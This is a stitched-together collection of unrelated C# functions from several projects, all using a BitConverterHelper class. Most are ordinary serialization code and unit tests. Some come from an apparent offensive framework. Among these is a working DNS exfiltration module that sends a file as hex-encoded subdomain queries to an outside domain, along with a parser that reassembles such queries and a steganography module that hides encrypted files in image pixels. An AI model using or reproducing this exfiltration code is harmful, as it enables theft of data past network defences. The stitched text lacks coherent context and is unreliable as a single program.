int ReadMessageLength(Stream stream) { // Asignamos el tamaño del mensaje switch (_HeaderLength) { case 1: return(stream.ReadByte()); case 2: { byte[] bxf = new byte[_HeaderLength]; ReadFull(stream, bxf, 0, _HeaderLength); return(BitConverterHelper.ToUInt16(bxf, 0)); } case 3: { byte[] bxf = new byte[_HeaderLength]; ReadFull(stream, bxf, 0, _HeaderLength); return((int)BitConverterHelper.ToUInt24(bxf, 0)); } case 4: { byte[] bxf = new byte[_HeaderLength]; ReadFull(stream, bxf, 0, _HeaderLength); return(BitConverterHelper.ToInt32(bxf, 0)); } default: throw (new ProtocolException()); } }
void WriteLengthInPacket(byte[] bff, int index, int length) { // Append length to header switch (_HeaderLength) { case 1: { bff[index] = (byte)(length); break; } case 2: { byte[] bft = BitConverterHelper.GetBytesUInt16((ushort)(length)); Array.Copy(bft, 0, bff, index, _HeaderLength); break; } case 3: { byte[] bft = BitConverterHelper.GetBytesUInt24((uint)(length)); Array.Copy(bft, 0, bff, index, _HeaderLength); break; } case 4: { byte[] bft = BitConverterHelper.GetBytesInt32(length); Array.Copy(bft, 0, bff, index, _HeaderLength); break; } } }
public static void GetBytes_Throws_FormatException(string input) { // Arrange // Act Assert.Throws <FormatException>(() => BitConverterHelper.GetBytes(input)); // Assert }
public void Ctor() { _arrayPool = ArrayPool <byte> .Create(); var helper = new BitConverterHelper(TcpClientIoOptions.Default.RegisterConverter(new TcpUtf8StringConverter())); _serializer = new TcpSerializer <Mock>(helper, l => _arrayPool.Rent(l)); _deserializer = new TcpDeserializer <long, Mock>(helper); }
public void Ctor() { _bitConverterHelper = new BitConverterHelper( new TcpClientIoOptions() .RegisterConverter(new TcpUtf8StringConverter()) .RegisterConverter(new TcpGuidConverter()) .RegisterConverter(new TcpDateTimeConverter()) ); }
/// <summary> /// Genera un TCP SocketManager del array de bytes de los datos solicitados /// </summary> /// <param name="codec">Codec para la obtención</param> /// <param name="stream">Stream</param> /// <returns>Devuelve la clase TCPSocketMsgManager</returns> public static IXPloitSocketMsg Deserialize(Encoding codec, Stream stream) { List <IXploitMsgHeader> headers = new List <IXploitMsgHeader>(); byte nheaders = (byte)stream.ReadByte(); byte type; SerializableJSONReference tp; if (nheaders > 0) { // Read headers byte[] bl = new byte[3]; for (int x = 0; x < nheaders; x++) { // Read header Length stream.Read(bl, 0, 3); type = bl[2]; byte[] data = new byte[BitConverterHelper.ToUInt16(bl, 0) - 1]; stream.Read(data, 0, data.Length); if (!_CacheHeaders.TryGetValue(type, out tp)) { //no está en cache EXPloitSocketMsgHeader e = (EXPloitSocketMsgHeader)type; tp = e.GetAttribute <SerializableJSONReference>(); lock (_CacheHeaders) { _CacheHeaders.Add(type, tp); } } headers.Add(tp.Deserialize <IXploitMsgHeader>(tp.Type, codec, data, 0, data.Length)); } } type = (byte)stream.ReadByte(); if (!_Cache.TryGetValue(type, out tp)) { //no está en cache EXPloitSocketMsg e = (EXPloitSocketMsg)type; tp = e.GetAttribute <SerializableJSONReference>(); lock (_Cache) { _Cache.Add(type, tp); } } IXPloitSocketMsg ret = tp.Deserialize <IXPloitSocketMsg>(tp.Type, codec, stream); if (nheaders > 0) { ret.Headers.AddRange(headers); } return(ret); }
public static void Long_ToGuid(long input, string expected) { // Arrange // Act var result = BitConverterHelper.ToGuid(input).ToString(); // Assert Assert.Equal(expected, result); }
public override byte[] GetBytes() { byte messageType = (byte)UdpMessageDataType.Answer; byte[] idBytes = BitConverterHelper.GetBytesBigEndian(id); byte[] answerToIdBytes = BitConverterHelper.GetBytesBigEndian(answerToId); byte[] newBytes = idBytes.Prepend(messageType).Concat(answerToIdBytes).Concat(bytes).ToArray(); return(newBytes); }
public static void GetBytes_String_HasNo_Dashes(string expected) { // Arrange var input = BitConverter.ToString(Encoding.UTF8.GetBytes(expected)).Replace("-", string.Empty); // Act var result = Encoding.UTF8.GetString(BitConverterHelper.GetBytes(input)); // Assert Assert.Equal(expected, result); }
bool parse(string line, int filedIdLength, int packetNumLength, out string fileId, out packet packet) { fileId = ""; packet = null; if (string.IsNullOrEmpty(line)) { return(false); } try { Match m = Regex.Match(line, RegexData); if (m == null || !m.Success) { return(false); } string dom; string data = m.Value.Trim(); StringHelper.Split(data, '.', out data, out dom); if (filedIdLength > 0) { fileId = data.Substring(0, filedIdLength); if (string.IsNullOrEmpty(fileId)) { return(false); } } int packetNum = 0; if (packetNumLength > 0) { packetNum = BitConverterHelper.ToInt32(HexHelper.FromHexString(data.Substring(filedIdLength, packetNumLength)), 0); } packet = new packet() { Data = HexHelper.FromHexString(data.Remove(0, filedIdLength + packetNumLength)), Order = packetNum }; return(true); } catch { return(false); } }
public void AddChunkThatCompleteBoth() { // Arrange var range = SingleRange.Range(1, SingleRange.MaxValue); range.Range(SingleRange.MinValue, -1); // Assume AssertChunks(range, SingleRange.MinValue, -1, 1, SingleRange.MaxValue); // Act range.Range(BitConverterHelper.Next(-1F), BitConverterHelper.Previous(1F)); // Assert AssertChunks(range, SingleRange.MinValue, SingleRange.MaxValue); }
public void AddChunkThatCompleteBoth() { // Arrange var range = DoubleRange.Range(1, double.MaxValue); range.Range(double.MinValue, -1); // Assume AssertChunks(range, double.MinValue, -1, 1, double.MaxValue); // Act range.Range(BitConverterHelper.Next((double)-1), BitConverterHelper.Previous((double)1)); // Assert AssertChunks(range, double.MinValue, double.MaxValue); }
public void BaseConvertersTest(bool reverse) { var helper = new BitConverterHelper(Converters); var str = "Hello my friend"; var stringResult = helper.ConvertToBytes(str, typeof(string), reverse); var stringResultBack = helper.ConvertFromBytes(new ReadOnlySequence <byte>(stringResult), typeof(string), reverse); Assert.AreEqual(str, stringResultBack); var datetime = DateTime.Now; var dateTimeResult = helper.ConvertToBytes(datetime, typeof(DateTime), reverse); var dateTimeResultBack = helper.ConvertFromBytes(new ReadOnlySequence <byte>(dateTimeResult), typeof(DateTime), reverse); Assert.AreEqual(datetime, dateTimeResultBack); var guid = Guid.NewGuid(); var guidResult = helper.ConvertToBytes(guid, typeof(Guid), reverse); var guidResultBack = helper.ConvertFromBytes(new ReadOnlySequence <byte>(guidResult), typeof(Guid), reverse); Assert.AreEqual(guid, guidResultBack); }
private TcpClientIo(TcpClientIoOptions tcpClientIoOptions, ILogger <TcpClientIo <TId, TRequest, TResponse> > logger) { var pipe = new Pipe(); Id = Guid.NewGuid(); _logger = logger; _options = tcpClientIoOptions ?? TcpClientIoOptions.Default; _batchRules = TcpBatchRules <TResponse> .Default; _baseCancellationTokenSource = new CancellationTokenSource(); _baseCancellationToken = _baseCancellationTokenSource.Token; _bufferBlockRequests = new BufferBlock <SerializedRequest>(); var middleware = new MiddlewareBuilder <ITcpBatch <TResponse> >() .RegisterCancellationActionInWait((tcs, hasOwnToken) => { if (_disposing || hasOwnToken) { tcs.TrySetCanceled(); } else if (!_disposing && _pipelineReadEnded) { tcs.TrySetException(TcpClientIoException.ConnectionBroken()); } }) .RegisterDuplicateActionInSet((batch, newBatch) => _batchRules.Update(batch, newBatch.Single())) .RegisterCompletionActionInSet(() => _consumingResetEvent.Set()); _completeResponses = new WaitingDictionary <TId, ITcpBatch <TResponse> >(middleware); _arrayPool = ArrayPool <byte> .Create(); var bitConverterHelper = new BitConverterHelper(_options); _serializer = new TcpSerializer <TRequest>(bitConverterHelper, length => _arrayPool.Rent(length)); _deserializer = new TcpDeserializer <TId, TResponse>(bitConverterHelper); _writeResetEvent = new AsyncManualResetEvent(); _readResetEvent = new AsyncManualResetEvent(); _consumingResetEvent = new AsyncManualResetEvent(); _deserializePipeReader = pipe.Reader; _deserializePipeWriter = pipe.Writer; }
/// <inheritdoc /> protected override double GetNext(double n) => BitConverterHelper.Next(n);
/// <inheritdoc /> protected override double GetPrevious(double n) => BitConverterHelper.Previous(n);
public static void RegisterConverters(BitConverterHelper bitConverterHelper) { bitConverterHelper.RegisterConverter(new BinaryUtf8StringConverter()); bitConverterHelper.RegisterConverter(new BinaryGuidConverter()); bitConverterHelper.RegisterConverter(new BinaryDateTimeConverter()); }
public BinarySerializerContext(BitConverterHelper helper, Type type) { BitConverterHelper = helper; ReflectionData = new ReflectionData(type); }
/// <inheritdoc /> protected override decimal GetNext(decimal n) => BitConverterHelper.Next(n);
public virtual IXPloitSocketMsg Read(Stream stream) { // Comprobar que la cabera es menor que el paquere if (stream == null) { return(null); } int index = 0, msgLength; byte[] bxfData; lock (stream) { msgLength = ReadMessageLength(stream); // Control de tamaño máximo if (msgLength >= _MaxLength) { if (msgLength == _MaxLength) { // Mensaje partido, parsear byte[] parts = new byte[PartsHeaderLength]; ReadFull(stream, parts, 0, PartsHeaderLength); uint iparts = BitConverterHelper.ToUInt24(parts, 0); using (MemoryStream ms = new MemoryStream()) { for (int x = 0; x < iparts; x++) { // Tamaño msgLength = ReadMessageLength(stream); bxfData = new byte[msgLength]; ReadFull(stream, bxfData, 0, msgLength); ms.Write(bxfData, 0, msgLength); } if (_Crypt == null) { ms.Seek(0, SeekOrigin.Begin); return(IXPloitSocketMsg.Deserialize(_Codec, ms)); } bxfData = ms.ToArray(); msgLength = bxfData.Length; } } else { throw (new ProtocolException()); } } else { bxfData = new byte[msgLength]; ReadFull(stream, bxfData, 0, msgLength); } } //Log(msg, index - 4, length + 4, false, cl.Parent.IsServer); if (_Crypt != null) { //desencriptamos el mensaje bxfData = _Crypt.Decrypt(bxfData, index, ref msgLength); if (bxfData == null) { return(null); } index = 0; } return(IXPloitSocketMsg.Deserialize(_Codec, bxfData, index, msgLength)); }
public static BinarySerializerContext GetOrAddContext(Type typeData, BitConverterHelper helper) => Cache.GetOrAdd(typeData, type => new BinarySerializerContext(helper, type));
public void BitConverterToBytesTest(object obj, int expected, bool reverse) { var converter = new BitConverterHelper(new TcpClientIoOptions()); Assert.That(converter.ConvertToBytes(obj, obj.GetType()).Length == expected, "converter.ConvertToBytes(obj, obj.GetType()).Length == expected"); }
public override bool Run() { if (!LocalFileRead.Exists) { return(false); } AESHelper aes = AESHelper.Create(this); if (aes != null) { WriteInfo("Using AES Encryption"); } else { WriteError("Read/Write in RawMode (without any Encryption)"); } using (Bitmap img = (Bitmap)Image.FromFile(LocalFileRead.FullName)) { switch (Mode) { case EMode.Write: { if (!LocalFileWrite.Exists) { WriteError("In this mode LocalFileWrite must exists, and will be replaced with the result image"); return(false); } WriteInfo("Start reading file"); byte[] data = File.ReadAllBytes(LocalFileWrite.FullName); if (aes != null) { data = aes.Encrypt(data); } byte[] header = BitConverterHelper.GetBytesInt32(data.Length); int totalSize = data.Length + header.Length; int av = CalculateMaxLength(img.Width, img.Height); WriteInfo("Bytes to encode", GetSize(totalSize), ConsoleColor.Green); WriteInfo("Bytes available", GetSize(av), ConsoleColor.DarkCyan); if (totalSize <= av) { WriteInfo("Its viable!"); } else { WriteError("You need a image more larger or a message more shorter ... sorry :("); return(false); } // crear array binario StringBuilder binary = new StringBuilder(); for (int x = 0, m = header.Length; x < m; x++) { binary.Append(Convert.ToString(header[x], 2).PadLeft(8, '0')); } for (int x = 0, m = data.Length; x < m; x++) { binary.Append(Convert.ToString(data[x], 2).PadLeft(8, '0')); } char[] sb = binary.ToString().ToCharArray(); int sbl = sb.Length; binary.Clear(); // Cadena binaria creada int width = img.Width; int height = img.Height; bool toLower = true; WriteInfo("Start writing image"); StartProgress(width * height); byte r, g, b; int index = 0, current = 0; for (int x = 0; x < width; x++) { for (int y = 0; y < height; y++) { r = GetBinary(sb, ref index, sbl); g = GetBinary(sb, ref index, sbl); b = GetBinary(sb, ref index, sbl); Color clr = img.GetPixel(x, y); clr = SetColor(clr, r, g, b, toLower); img.SetPixel(x, y, clr); current++; WriteProgress(current); } } EndProgress(); WriteInfo("Writing output"); img.Save(LocalFileWrite.FullName, ImageFormat.Png); break; } case EMode.Read: { WriteInfo("Start reading image"); int width = img.Width; int height = img.Height; int av = CalculateMaxLength(width, height); StartProgress(width * height); byte[] data = null; byte[] header = new byte[4]; string binary = ""; int dataLength = 0; int dataIndex = 0; int headerReaded = 0; byte b; int current = 0; for (int x = 0; x < width; x++) { for (int y = 0; y < height; y++) { Color clr = img.GetPixel(x, y); if (Append(ref binary, out b, clr.R % 2 == 0, clr.G % 2 == 0, clr.B % 2 == 0)) { if (headerReaded < 4) { header[headerReaded] = b; headerReaded++; if (headerReaded == 4) { dataLength = BitConverterHelper.ToInt32(header, 0); if (dataLength > av) { EndProgress(); WriteInfo("Image maybe contains", GetSize(dataLength), ConsoleColor.Green); WriteError("Max bytes available " + GetSize(av)); return(false); } data = new byte[dataLength]; } } else { data[dataIndex] = b; dataIndex++; if (dataIndex >= dataLength) { x = width + 1; break; } } } current++; WriteProgress(current); } } EndProgress(); if (aes != null) { WriteInfo("Start decrypting file", GetSize(data.Length), ConsoleColor.Green); data = aes.Decrypt(data); } if (data == null) { WriteInfo("Error decrypting file"); return(false); } WriteInfo("Writing output", GetSize(data.Length), ConsoleColor.Green); File.WriteAllBytes(LocalFileWrite.FullName, data); break; } } } return(true); }
/// <summary> /// Obtiene el array de bytes de la clase actual /// </summary> /// <param name="codec">Codec para la obtención</param> /// <param name="header">Cabecera del mensaje</param> /// <returns>Devuelve el Array de Bytes de la clase actual</returns> public byte[] Serialize(Encoding codec, byte[] header) { SerializableJSONReference tp; EXPloitSocketMsg type = this.Type; if (header == null) { header = new byte[1]; } else { Array.Resize(ref header, header.Length + 1); } if (Headers.HaveValidHeaders) { // Headers length byte hay = (byte)Headers.Count; header[header.Length - 1] = hay; // Headers int l = 0; List <byte[]> ret = new List <byte[]>(); foreach (IXploitMsgHeader h in Headers) { SerializableJSONReference tp2; EXPloitSocketMsgHeader type2 = h.Type; // Message if (!_CacheHeaders.TryGetValue((byte)type2, out tp2)) { //no está en cache tp2 = type2.GetAttribute <SerializableJSONReference>(); lock (_CacheHeaders) { _CacheHeaders.Add((byte)type2, tp2); } } byte[] data = tp2.Serialize(codec, (byte)type2, h, null); ret.Add(data); l += data.Length; } int x = header.Length; Array.Resize(ref header, x + l + (hay * 2)); foreach (byte[] b in ret) { ushort lb = (ushort)b.Length; byte[] bl = BitConverterHelper.GetBytesUInt16(lb); Array.Copy(bl, 0, header, x, 2); x += 2; Array.Copy(b, 0, header, x, lb); x += lb; } ret.Clear(); } // Message if (!_Cache.TryGetValue((byte)type, out tp)) { //no está en cache tp = type.GetAttribute <SerializableJSONReference>(); lock (_Cache) { _Cache.Add((byte)type, tp); } } return(tp.Serialize(codec, (byte)type, this, header)); }
public void BitConverterFromBytesTest(byte[] bytes, Type type, bool reverse) { var converter = new BitConverterHelper(new TcpClientIoOptions()); Assert.That(converter.ConvertFromBytes(new ReadOnlySequence <byte>(bytes), type, reverse).GetType() == type, "converter.ConvertFromBytes(bytes, type, reverse).GetType() == type"); }
/// <inheritdoc /> protected override decimal GetPrevious(decimal n) => BitConverterHelper.Previous(n);
public virtual int Send(IXPloitSocketMsg msg, Stream stream) { if (stream == null || msg == null) { return(0); } byte[] bff; if (_Crypt != null) { bff = msg.Serialize(_Codec, null); bff = _Crypt.Encrypt(bff, _HeaderPadding); } else { bff = msg.Serialize(_Codec, _HeaderPadding); } int length = bff.Length; if (length == 0) { return(0); } if (length >= _MaxLength) { // Dividir en partes mas pequeñas int lengthH = length - _HeaderLength; int maxPacketLength = _MaxLength - _HeaderLength; uint packets = (uint)(lengthH / maxPacketLength); if (lengthH % maxPacketLength != 0) { packets++; } byte[] pak = BitConverterHelper.GetBytesUInt24(packets); int write = 0; int index = _HeaderLength; int currentLength; byte[] data = new byte[_MaxLength]; // Guid-length lock (stream) { // Header and Parts stream.Write(_HeaderPadding, 0, _HeaderLength); stream.Write(pak, 0, PartsHeaderLength); for (int x = 0; x < packets; x++) { currentLength = Math.Min(length - index, maxPacketLength); WriteLengthInPacket(data, 0, currentLength); Array.Copy(bff, index, data, _HeaderLength, currentLength); index += currentLength; stream.Write(data, 0, currentLength + _HeaderLength); write += currentLength + _HeaderLength; } } return(write); } // Append length to header WriteLengthInPacket(bff, 0, length - _HeaderLength); //Log(bff, 0, length, true, cl.Parent.IsServer); stream.Write(bff, 0, length); return(length); }
/// <inheritdoc /> protected override float GetPrevious(float n) => BitConverterHelper.Previous(n);
public override bool Run() { if (!File.Exists) { return(false); } DnsClient dns = DnsServer == null ? DnsClient.Default : new DnsClient(DnsServer, 10000); bool ipv6 = dns.Servers[0].AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6; // Get counter byte[] g; switch (Convert.ToInt32(Target["Size"])) { case 8: { g = BitConverterHelper.GetBytesInt64(CounterHelper.GetNextInt64()); break; } case 4: { g = BitConverterHelper.GetBytesUInt32(CounterHelper.GetNextUInt32()); break; } case 2: { g = BitConverterHelper.GetBytesUInt16(CounterHelper.GetNextUInt16()); break; } case 1: { g = new byte[] { CounterHelper.GetNextByte() }; break; } default: { g = BitConverterHelper.GetBytesInt64(DateTime.UtcNow.ToBinary()); break; } } // Copy file id bool sendPacketOrder = SendPacketOrder; int headerLength = g.Length; if (sendPacketOrder) { headerLength += 4; // packetNum } byte[] data = new byte[63 / 2]; // hex 2 bytes per byte Array.Copy(g, data, g.Length); AESHelper aes = AESHelper.Create(this); if (aes != null) { WriteInfo("Using AES Encryption"); } else { WriteError("Send in RawMode (without any Encryption)"); } WriteInfo("Start sending file", HexHelper.Buffer2Hex(g, 0, g.Length), ConsoleColor.Green); byte[] crypted = null; if (aes != null) { using (Stream fs = File.OpenRead()) crypted = aes.Encrypt(fs, false, null); } int position = 0; using (Stream fs = (crypted == null ? (Stream)File.OpenRead() : (Stream) new MemoryStream(crypted))) { int total = (int)(fs.Length / (data.Length - headerLength)); if (fs.Length % (data.Length - headerLength) != 0) { total++; } WriteInfo("Sending " + (total) + " dns querys ..."); StartProgress(total); while (true) { // copy counter if (sendPacketOrder) { byte[] p = BitConverterHelper.GetBytesInt32(position); Array.Copy(p, 0, data, headerLength - 4, 4); } position++; // read int lee = fs.Read(data, headerLength, data.Length - headerLength); if (lee <= 0) { break; } // generateFile string name = HexHelper.Buffer2Hex(data, 0, headerLength + lee) + "." + DomainName; dns.Resolve(name, ipv6 ? RecordType.Aaaa : RecordType.A); if (Sleep > 0) { Thread.Sleep(Sleep); } WriteProgress(position); } EndProgress(); } WriteInfo("Done"); return(true); }
/// <inheritdoc /> protected override float GetNext(float n) => BitConverterHelper.Next(n);